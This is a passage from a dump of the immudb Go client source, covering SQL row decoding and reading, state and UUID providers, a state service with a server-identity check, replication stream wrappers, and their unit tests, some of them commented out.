make(map[uint32]*schema.SQLValue, colsCount)\n\n\tfor i := 0; i < int(colsCount); i++ {\n\t\tif len(encodedRow) < off+sql.EncIDLen {\n\t\t\treturn nil, sql.ErrCorruptedData\n\t\t}\n\n\t\tcolID := binary.BigEndian.Uint32(encodedRow[off:])\n\t\toff += sql.EncIDLen\n\n\t\tcolType, ok := colTypes[colID]\n\t\tif !ok {\n\t\t\t// Support for dropped columns\n\t\t\tif colID > maxColID {\n\t\t\t\treturn nil, sql.ErrCorruptedData\n\t\t\t}\n\n\t\t\tvlen, voff, err := sql.DecodeValueLength(encodedRow[off:])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\toff += vlen\n\t\t\toff += voff\n\t\t\tcontinue\n\t\t}\n\n\t\tval, n, err := sql.DecodeValue(encodedRow[off:], colType)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvalues[colID] = schema.TypedValueToRowValue(val)\n\t\toff += n\n\t}\n\n\treturn values, nil\n}\n\ntype Row []interface{}\n\ntype Column struct {\n\tType string\n\tName string\n}\n\ntype SQLQueryRowReader interface {\n\t// Columns returns the set of columns\n\tColumns() []Column\n\n\t// Next() prepares the subsequent row for retrieval, indicating availability with a returned value of true.\n\t// Any encountered IO errors will be deferred until subsequent calls to Read() or Close(), prompting the function to return false.\n\tNext() bool\n\n\t// Read retrieves the current row as a slice of values.\n\t//\n\t// It's important to note that successive calls to Read() may recycle the same slice, necessitating copying to retain its contents.\n\tRead() (Row, error)\n\n\t// Close closes the reader. Subsequent calls to Next() or Read() will return an error.\n\tClose() error\n}\n\ntype rowReader struct {\n\tstream schema.ImmuService_SQLQueryClient\n\n\tcols []Column\n\trows []*schema.Row\n\trow  Row\n\n\tnextRow int\n\tclosed  bool\n\terr     error\n}\n\nfunc newSQLQueryRowReader(stream schema.ImmuService_SQLQueryClient) (*rowReader, error) {\n\tres, err := stream.Recv()\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\treturn &rowReader{\n\t\tstream:  stream,\n\t\trows:    res.Rows,\n\t\trow:     make(Row, len(res.Columns)),\n\t\tnextRow: -1,\n\t\tcols:    fromProtoCols(res.Columns),\n\t}, nil\n}\n\nfunc fromProtoCols(columns []*schema.Column) []Column {\n\tcols := make([]Column, len(columns))\n\tfor i, col := range columns {\n\t\tcols[i] = Column{Type: col.Type, Name: col.Name}\n\t}\n\treturn cols\n}\n\nfunc (it *rowReader) Columns() []Column {\n\treturn it.cols\n}\n\nfunc (it *rowReader) Next() bool {\n\tif it.closed {\n\t\treturn false\n\t}\n\n\tif it.nextRow+1 < len(it.rows) {\n\t\tit.nextRow++\n\t\treturn true\n\t}\n\n\tif err := it.fetchRows(); err != nil {\n\t\tit.err = err\n\t\treturn false\n\t}\n\n\tit.nextRow = 0\n\treturn true\n}\n\nfunc (it *rowReader) Read() (Row, error) {\n\tif it.closed {\n\t\treturn nil, sql.ErrAlreadyClosed\n\t}\n\n\tif it.err != nil {\n\t\treturn nil, it.err\n\t}\n\n\tif it.nextRow < 0 {\n\t\treturn nil, errors.New(\"Read called without calling Next\")\n\t}\n\n\tprotoRow := it.rows[it.nextRow]\n\tfor i, protoVal := range protoRow.Values {\n\t\tval := schema.RawValue(protoVal)\n\t\tit.row[i] = val\n\t}\n\treturn it.row, nil\n}\n\nfunc (it *rowReader) fetchRows() error {\n\tres, err := it.stream.Recv()\n\tif err == io.EOF {\n\t\treturn sql.ErrNoMoreRows\n\t}\n\n\tif err == nil {\n\t\tit.rows = res.Rows\n\t}\n\treturn errors.FromError(err)\n}\n\nfunc (it *rowReader) Close() error {\n\tif it.closed {\n\t\treturn sql.ErrAlreadyClosed\n\t}\n\n\tit.stream = nil\n\tit.closed = true\n\tit.rows = nil\n\tit.nextRow = 0\n\n\tif it.err == sql.ErrNoMoreRows {\n\t\treturn nil\n\t}\n\treturn it.err\n}\n"
  },
  {
    "path": "pkg/client/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDecodeRowErrors(t *testing.T) {\n\n\ttype tMap map[uint32]sql.SQLValueType\n\n\tfor _, d := range []struct {\n\t\tn        string\n\t\tdata     []byte\n\t\tcolTypes map[uint32]sql.SQLValueType\n\t\tmaxColID uint32\n\t}{\n\t\t{\n\t\t\t\"No data\",\n\t\t\tnil,\n\t\t\tnil,\n\t\t\t0,\n\t\t},\n\t\t{\n\t\t\t\"Short buffer\",\n\t\t\t[]byte{1},\n\t\t\ttMap{},\n\t\t\t0,\n\t\t},\n\t\t{\n\t\t\t\"Short buffer on type\",\n\t\t\t[]byte{0, 0, 0, 1, 0, 0, 1},\n\t\t\ttMap{},\n\t\t\t0,\n\t\t},\n\t\t{\n\t\t\t\"Missing type\",\n\t\t\t[]byte{0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1},\n\t\t\ttMap{},\n\t\t\t0,\n\t\t},\n\t\t{\n\t\t\t\"Invalid value\",\n\t\t\t[]byte{0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0},\n\t\t\ttMap{\n\t\t\t\t1: sql.VarcharType,\n\t\t\t},\n\t\t\t1,\n\t\t},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trow, err := decodeRow(d.data, d.colTypes, d.maxColID)\n\t\t\trequire.ErrorIs(t, err, sql.ErrCorruptedData)\n\t\t\trequire.Nil(t, row)\n\t\t})\n\t}\n}\n\nfunc TestVerifyAgainst(t *testing.T) {\n\n\t// Missing column type\n\terr := verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues:  []*schema.SQLValue{{Value: nil}},\n\t}, map[uint32]*schema.SQLValue{}, map[string]uint32{})\n\trequire.True(t, errors.Is(err, sql.ErrColumnDoesNotExist))\n\n\t// Nil value\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues:  []*schema.SQLValue{{Value: nil}},\n\t}, map[uint32]*schema.SQLValue{}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrCorruptedData))\n\n\t// Missing decoded value\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues: []*schema.SQLValue{\n\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t},\n\t}, map[uint32]*schema.SQLValue{}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrCorruptedData))\n\n\t// Invalid decoded value\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues: []*schema.SQLValue{\n\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t},\n\t}, map[uint32]*schema.SQLValue{\n\t\t0: {Value: nil},\n\t}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrCorruptedData))\n\n\t// Not comparable types\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues: []*schema.SQLValue{\n\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t},\n\t}, map[uint32]*schema.SQLValue{\n\t\t0: {Value: &schema.SQLValue_S{S: \"1\"}},\n\t}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrNotComparableValues))\n\n\t// Different values\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues: []*schema.SQLValue{\n\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t},\n\t}, map[uint32]*schema.SQLValue{\n\t\t0: {Value: &schema.SQLValue_N{N: 2}},\n\t}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrCorruptedData))\n\n\t// Successful verify\n\terr = verifyRowAgainst(&schema.Row{\n\t\tColumns: []string{\"c1\"},\n\t\tValues: []*schema.SQLValue{\n\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t},\n\t}, map[uint32]*schema.SQLValue{\n\t\t0: {Value: &schema.SQLValue_N{N: 1}},\n\t}, map[string]uint32{\n\t\t\"c1\": 0,\n\t})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/client/state/immudb_uuid_provider.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage state\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"google.golang.org/grpc\"\n)\n\n// SERVER_UUID_HEADER ...\nconst SERVER_UUID_HEADER = \"immudb-uuid\"\n\n// ErrNoServerUuid ...\nvar ErrNoServerUuid = fmt.Errorf(\n\t\"!IMPORTANT WARNING: %s header is not published by the immudb server; \"+\n\t\t\"this client MUST NOT be used to connect to different immudb servers!\",\n\tSERVER_UUID_HEADER)\n\ntype UUIDProvider interface {\n\tCurrentUUID(ctx context.Context) (string, error)\n}\n\ntype uuidProvider struct {\n\tclient schema.ImmuServiceClient\n}\n\nfunc NewUUIDProvider(client schema.ImmuServiceClient) UUIDProvider {\n\treturn &uuidProvider{client}\n}\n\n// CurrentUUID issues a Health command to the server, then parses and returns\n// the server UUID from the response metadata\nfunc (r *uuidProvider) CurrentUUID(ctx context.Context) (string, error) {\n\tvar metadata runtime.ServerMetadata\n\tif _, err := r.client.Health(\n\t\tctx,\n\t\tnew(empty.Empty),\n\t\tgrpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD),\n\t); err != nil {\n\t\treturn \"\", err\n\t}\n\tvar serverUUID string\n\tif len(metadata.HeaderMD.Get(SERVER_UUID_HEADER)) > 0 {\n\t\tserverUUID = metadata.HeaderMD.Get(SERVER_UUID_HEADER)[0]\n\t}\n\tif serverUUID == \"\" {\n\t\treturn \"\", ErrNoServerUuid\n\t}\n\treturn serverUUID, nil\n}\n"
  },
  {
    "path": "pkg/client/state/immudb_uuid_provider_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage state\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/codenotary/immudb/pkg/client/rootservice\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestImmudbUUIDProvider_CurrentUuidNotFound(t *testing.T) {\n\tcli := &clienttest.ImmuServiceClientMock{}\n\tcli.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) {\n\t\treturn &schema.HealthResponse{\n\t\t\tStatus:  true,\n\t\t\tVersion: \"mock\",\n\t\t}, nil\n\t}\n\tuuidp := rootservice.NewImmudbUUIDProvider(cli)\n\tuuid, err := uuidp.CurrentUUID(context.Background())\n\tassert.EqualError(t, err, \"!IMPORTANT WARNING: immudb-uuid header is not published by the immudb server; this client MUST NOT be used to connect to different immudb servers!\")\n\tassert.Equal(t, \"\", uuid)\n}\n\nfunc TestImmudbUUIDProvider_CurrentHealthError(t *testing.T) {\n\tcli := &clienttest.ImmuServiceClientMock{}\n\tcli.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) {\n\t\treturn nil, errors.New(\"mock\")\n\t}\n\tuuidp := rootservice.NewImmudbUUIDProvider(cli)\n\tuuid, err := uuidp.CurrentUUID(context.Background())\n\tassert.Error(t, err)\n\tassert.Equal(t, \"\", uuid)\n}\n*/\n"
  },
  {
    "path": "pkg/client/state/state_provider.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage state\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"google.golang.org/grpc\"\n)\n\ntype StateProvider interface {\n\tCurrentState(ctx context.Context) (*schema.ImmutableState, error)\n}\n\ntype stateProvider struct {\n\tclient schema.ImmuServiceClient\n}\n\nfunc NewStateProvider(client schema.ImmuServiceClient) StateProvider {\n\treturn &stateProvider{client}\n}\n\nfunc (r *stateProvider) CurrentState(ctx context.Context) (*schema.ImmutableState, error) {\n\tvar metadata runtime.ServerMetadata\n\tvar protoReq empty.Empty\n\treturn r.client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n}\n"
  },
  {
    "path": "pkg/client/state/state_service.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage state\n\nimport (\n\t\"context\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n)\n\n// StateService the root service interface\ntype StateService interface {\n\tGetState(ctx context.Context, db string) (*schema.ImmutableState, error)\n\tSetState(db string, state *schema.ImmutableState) error\n\tCacheLock() error\n\tCacheUnlock() error\n\n\tSetServerIdentity(identity string)\n}\n\ntype stateService struct {\n\tstateProvider StateProvider\n\tuuidProvider  UUIDProvider\n\tcache         cache.Cache\n\tserverUUID    string\n\tlogger        logger.Logger\n\tm             sync.Mutex\n\n\tserverIdentityNotChecked bool\n\tserverIdentity           string\n}\n\n// NewStateService ...\nfunc NewStateService(cache cache.Cache,\n\tlogger logger.Logger,\n\tstateProvider StateProvider,\n\tuuidProvider UUIDProvider,\n) (StateService, error) {\n\n\tserverUUID, err := uuidProvider.CurrentUUID(context.Background())\n\tif err != nil {\n\t\tif err != ErrNoServerUuid {\n\t\t\treturn nil, err\n\t\t}\n\t\tlogger.Warningf(err.Error())\n\t}\n\n\treturn &stateService{\n\t\tstateProvider: stateProvider,\n\t\tuuidProvider:  uuidProvider,\n\t\tcache:         cache,\n\t\tlogger:        logger,\n\t\tserverUUID:    serverUUID,\n\t}, nil\n}\n\n// NewStateService ...\nfunc NewStateServiceWithUUID(cache cache.Cache,\n\tlogger logger.Logger,\n\tstateProvider StateProvider,\n\tserverUUID string,\n) (StateService, error) {\n\n\tif serverUUID == \"\" {\n\t\treturn nil, ErrNoServerUuid\n\t}\n\n\treturn &stateService{\n\t\tstateProvider: stateProvider,\n\t\tcache:         cache,\n\t\tlogger:        logger,\n\t\tserverUUID:    serverUUID,\n\t}, nil\n}\n\nfunc (r *stateService) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) {\n\tr.m.Lock()\n\tdefer r.m.Unlock()\n\n\tif r.serverIdentityNotChecked {\n\t\terr := r.cache.ServerIdentityCheck(r.serverIdentity, r.serverUUID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr.serverIdentityNotChecked = false\n\t}\n\n\tstate, err := r.cache.Get(r.serverUUID, db)\n\tif err == nil {\n\t\treturn state, nil\n\t}\n\tif err != cache.ErrPrevStateNotFound {\n\t\treturn nil, err\n\t}\n\n\tstate, err = r.stateProvider.CurrentState(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := r.cache.Set(r.serverUUID, db, state); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn state, nil\n}\n\nfunc (r *stateService) SetState(db string, state *schema.ImmutableState) error {\n\tr.m.Lock()\n\tdefer r.m.Unlock()\n\n\treturn r.cache.Set(r.serverUUID, db, state)\n}\n\nfunc (r *stateService) CacheLock() error {\n\treturn r.cache.Lock(r.serverUUID)\n}\n\nfunc (r *stateService) CacheUnlock() error {\n\treturn r.cache.Unlock()\n}\n\nfunc (r *stateService) SetServerIdentity(identity string) {\n\tr.m.Lock()\n\tdefer r.m.Unlock()\n\n\tr.serverIdentityNotChecked = true\n\tr.serverIdentity = identity\n}\n"
  },
  {
    "path": "pkg/client/state/state_service_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage state\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestStateService(t *testing.T) {\n\n\tic := &immuServiceClientMock{}\n\n\tcache := &cacheMock{data: make(map[string]*schema.ImmutableState)}\n\n\tlogger := &mockLogger{}\n\n\tstateProvider := NewStateProvider(ic)\n\tuuidProvider := NewUUIDProvider(ic)\n\n\trs, err := NewStateService(cache, logger, stateProvider, uuidProvider)\n\tassert.NoError(t, err)\n\n\tstate, err := rs.GetState(context.Background(), \"db1\")\n\tassert.NoError(t, err)\n\tassert.IsType(t, &schema.ImmutableState{}, state)\n\n\terr = rs.SetState(&schema.ImmutableState{}, \"db1\")\n\tassert.NoError(t, err)\n\n\tstate, err = rs.GetState(context.Background(), \"db1\")\n\tassert.NoError(t, err)\n\tassert.IsType(t, &schema.ImmutableState{}, state)\n}\n\ntype cacheMock struct {\n\tdata map[string]*schema.ImmutableState\n}\n\nfunc (m *cacheMock) Get(serverUUID string, dbName string) (*schema.ImmutableState, error) {\n\tr, ok := m.data[serverUUID+dbName]\n\tif ok {\n\t\treturn r, nil\n\t}\n\treturn nil, errors.New(\"not found\")\n}\n\nfunc (m *cacheMock) Set(state *schema.ImmutableState, serverUUID string, dbName string) error {\n\tm.data[serverUUID+dbName] = state\n\treturn nil\n}\n\ntype mockLogger struct{}\n\nfunc (l *mockLogger) Errorf(f string, v ...interface{}) {}\n\nfunc (l *mockLogger) Warningf(f string, v ...interface{}) {}\n\nfunc (l *mockLogger) Infof(f string, v ...interface{}) {}\n\nfunc (l *mockLogger) Debugf(f string, v ...interface{}) {}\n\ntype immuServiceClientMock struct{}\n\nfunc (m *immuServiceClientMock) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error) {\n\treturn &schema.UserList{}, nil\n}\nfunc (m *immuServiceClientMock) GetUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error {\n\treturn nil\n}\nfunc (m *immuServiceClientMock) CreateUser(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) ChangePassword(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) SetPermission(ctx context.Context, in *schema.Item, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) DeactivateUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) UpdateAuthConfig(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) UpdateMTLSConfig(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) Login(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\treturn &schema.LoginResponse{}, nil\n}\nfunc (m *immuServiceClientMock) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) Set(ctx context.Context, in *schema.KeyValue, opts ...grpc.CallOption) (*schema.Index, error) {\n\treturn &schema.Index{}, nil\n}\nfunc (m *immuServiceClientMock) SafeSet(ctx context.Context, in *schema.SafeSetOptions, opts ...grpc.CallOption) (*schema.Proof, error) {\n\treturn &schema.Proof{}, nil\n}\nfunc (m *immuServiceClientMock) Get(ctx context.Context, in *schema.Key, opts ...grpc.CallOption) (*schema.Item, error) {\n\treturn &schema.Item{}, nil\n}\nfunc (m *immuServiceClientMock) SafeGet(ctx context.Context, in *schema.SafeGetOptions, opts ...grpc.CallOption) (*schema.SafeItem, error) {\n\treturn &schema.SafeItem{}, nil\n}\nfunc (m *immuServiceClientMock) SetBatch(ctx context.Context, in *schema.KVList, opts ...grpc.CallOption) (*schema.Index, error) {\n\treturn &schema.Index{}, nil\n}\nfunc (m *immuServiceClientMock) GetBatch(ctx context.Context, in *schema.KeyList, opts ...grpc.CallOption) (*schema.ItemList, error) {\n\treturn &schema.ItemList{}, nil\n}\nfunc (m *immuServiceClientMock) ExecAllOps(ctx context.Context, in *schema.Ops, opts ...grpc.CallOption) (*schema.Index, error) {\n\treturn &schema.Index{}, nil\n}\nfunc (m *immuServiceClientMock) Scan(ctx context.Context, in *schema.ScanOptions, opts ...grpc.CallOption) (*schema.ItemList, error) {\n\treturn &schema.ItemList{}, nil\n}\nfunc (m *immuServiceClientMock) Count(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.ItemsCount, error) {\n\treturn &schema.ItemsCount{}, nil\n}\nfunc (m *immuServiceClientMock) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ItemsCount, error) {\n\treturn &schema.ItemsCount{}, nil\n}\nfunc (m *immuServiceClientMock) CurrentRoot(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.Root, error) {\n\treturn &schema.Root{}, nil\n}\nfunc (m *immuServiceClientMock) Inclusion(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.InclusionProof, error) {\n\treturn &schema.InclusionProof{}, nil\n}\nfunc (m *immuServiceClientMock) Consistency(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.ConsistencyProof, error) {\n\treturn &schema.ConsistencyProof{}, nil\n}\nfunc (m *immuServiceClientMock) ByIndex(ctx context.Context, in *schema.Index, opts ...grpc.CallOption) (*schema.Item, error) {\n\treturn &schema.Item{}, nil\n}\nfunc (m *immuServiceClientMock) BySafeIndex(ctx context.Context, in *schema.SafeIndexOptions, opts ...grpc.CallOption) (*schema.SafeItem, error) {\n\treturn &schema.SafeItem{}, nil\n}\nfunc (m *immuServiceClientMock) History(ctx context.Context, in *schema.HistoryOptions, opts ...grpc.CallOption) (*schema.ItemList, error) {\n\treturn &schema.ItemList{}, nil\n}\nfunc (m *immuServiceClientMock) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) {\n\treturn &schema.HealthResponse{}, nil\n}\nfunc (m *immuServiceClientMock) Reference(ctx context.Context, in *schema.ReferenceOptions, opts ...grpc.CallOption) (*schema.Index, error) {\n\treturn &schema.Index{}, nil\n}\nfunc (m *immuServiceClientMock) GetReference(ctx context.Context, in *schema.Key, opts ...grpc.CallOption) (*schema.Item, error) {\n\treturn &schema.Item{}, nil\n}\nfunc (m *immuServiceClientMock) SafeReference(ctx context.Context, in *schema.SafeReferenceOptions, opts ...grpc.CallOption) (*schema.Proof, error) {\n\treturn &schema.Proof{}, nil\n}\nfunc (m *immuServiceClientMock) ZAdd(ctx context.Context, in *schema.ZAddOptions, opts ...grpc.CallOption) (*schema.Index, error) {\n\treturn &schema.Index{}, nil\n}\nfunc (m *immuServiceClientMock) ZScan(ctx context.Context, in *schema.ZScanOptions, opts ...grpc.CallOption) (*schema.ZItemList, error) {\n\treturn &schema.ZItemList{}, nil\n}\nfunc (m *immuServiceClientMock) SafeZAdd(ctx context.Context, in *schema.SafeZAddOptions, opts ...grpc.CallOption) (*schema.Proof, error) {\n\treturn &schema.Proof{}, nil\n}\nfunc (m *immuServiceClientMock) IScan(ctx context.Context, in *schema.IScanOptions, opts ...grpc.CallOption) (*schema.Page, error) {\n\treturn &schema.Page{}, nil\n}\nfunc (m *immuServiceClientMock) Dump(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (schema.ImmuService_DumpClient, error) {\n\treturn nil, nil\n}\nfunc (m *immuServiceClientMock) CreateDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) UseDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) {\n\treturn &schema.UseDatabaseReply{}, nil\n}\nfunc (m *immuServiceClientMock) ChangePermission(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) SetActiveUser(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}\nfunc (m *immuServiceClientMock) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\treturn &schema.DatabaseListResponse{}, nil\n}\n*/\n"
  },
  {
    "path": "pkg/client/stream_replication.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/grpc\"\n)\n\n// ExportTx retrieves serialized transaction object.\nfunc (c *immuClient) ExportTx(ctx context.Context, req *schema.ExportTxRequest) (schema.ImmuService_ExportTxClient, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\treturn c.ServiceClient.ExportTx(ctx, req)\n}\n\n// ReplicateTx sends a previously serialized transaction object replicating it on another database.\nfunc (c *immuClient) ReplicateTx(ctx context.Context) (schema.ImmuService_ReplicateTxClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\treturn c.ServiceClient.ReplicateTx(ctx)\n}\n\nfunc (c *immuClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\treturn c.ServiceClient.StreamExportTx(ctx, opts...)\n}\n"
  },
  {
    "path": "pkg/client/stream_test.go",
